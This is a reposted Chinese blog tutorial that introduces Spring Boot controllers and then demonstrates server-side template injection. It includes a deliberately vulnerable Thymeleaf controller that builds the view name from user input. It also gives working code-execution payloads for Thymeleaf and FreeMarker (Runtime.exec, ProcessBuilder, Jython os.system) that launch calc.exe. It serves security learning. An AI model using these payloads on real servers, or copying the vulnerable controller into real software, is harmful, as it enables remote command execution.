自学内容网 自学内容网

SpringBoot入门 && springboot模版注入问题

SpringBoot基础使用

前期基础学习一直使用的Servelet,现在用Springboot才发现这个是多么的方便,为什么现在主流的是Springboot

简介:Springboot是支持多拓展服务的一个java框架

框架和组件不同的就是框架是一个系统的,内置有不同的语法 而组件只是系统功能的一种,为了的目的是优化单功能方面的方便和安全性

部署

使用阿里的原因就是官网不支持JDK8 为了方便就换一个支持的

依赖只选择一个 web的

Springboot的强大之处就是他的依赖,比如云储存或者是sql数据库的api连接都是方便

package com.example.springdemo.Controller;


import org.springframework.web.bind.annotation.*;

@RestController
//表示这个控制页面 会把返回的结果一样输出到客户端  如果只是 Controller 的话就不会把这个类下的 return 数据返回到浏览器
public class IndexCon {
    // 1、基本的路径控制
    @RequestMapping("/index")  //访问路径触发函数
    public String index() {
        return "Hello";
    }

    //GET 模式
    @RequestMapping(value = "/index", method = RequestMethod.GET)
    public String index2(@RequestParam String name) {    //設置參數
        if (name == "xiaodi") {
            return "Hello2";
        }else {
            return " ";
        }

    }
    //快捷模式
    @GetMapping("/index1")
    public String index1(@RequestParam String name) {
        return name;
    }
    //post模式
    @PostMapping("/index2")
    public String index3(@RequestParam String name) {
        return name+"xiaodisec";
    }

}

运行  上面写的程序 当我们访问index的时候会输出hello 当传参get = xiaodi 会输出hello2

这个是直接运行的前端页面

模版的导入

什么是ssti?模版注入漏洞,前端的模版如果有个可控的输入,那就会导致用户输入的恶意的语法会被镶嵌到模版中去,从而造成危险

前端的模版是指可以优化前端页面形式使其简洁化并且有规律性

Thtmeleaf模版的利用

部署的时候需要选择这个模版引擎

成功导入之后

库中就会出现

这个模版漏洞注入的场景:用户可以使用参数控制模版呈现的页面方式

这里就会变化

换一个值输入

这种情况就可以使用,但是这个地方肯定是没有的

我们先部署一个类似的页面

根据依赖项设置:建一个tem专属目录  然后创建上页面转换的不同页面

package com.example.thymeleafspringboot.Controller;


import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;

@Controller   //当有模版载入的时候 就不适合使用  rest前缀  否则会干扰到 前端模版
public class ConIndex {
    @GetMapping("/index")
    public String index(@RequestParam String name, Model model,String lang) {
        //Mode model  就是新建一个前端对象 来实例化前端的数据
        model.addAttribute("data", name);  //把Data的数据 替换到前端的Data
        return "index"+lang;

    }
}

运行

功能实现之后就需要进行利用

poc:

__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc.exe%22).getInputStream()).next()%7d__::.x

但是执行之后

我考??什么情况

原因很简单就是这个阿里云网的springboot版本是稳定性很强的 所以执行不了

我们需要切换到

2.2.0.Release 版本就能弹出计算机

Freemarker模版的利用

这个和上个不同的是 没法使用可控变量从后端操作这个前端的模版

只能使用这个 poc 

<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}

这个标签必须插入到 模版文件的内部,如果是使用参数传入只能被当做内容执行

展示一下:

没有poc 使用参数进行传递

没反应

添加上

如果上面的poc运行不了

<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}

<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}

<#assign value="freemarker.template.utility.JythonRuntime"?new()>${value("calc.exe")}<@value>import os;os.system("calc.exe")</@value>//@value为自定义标签

还有2个poc可使用

那这个模版注入的作用点就是后台进行提权使用的,因为无可控参数的利用


原文地址:https://blog.csdn.net/2301_81155391/article/details/148675204

免责声明:本站文章内容转载自网络资源,如侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!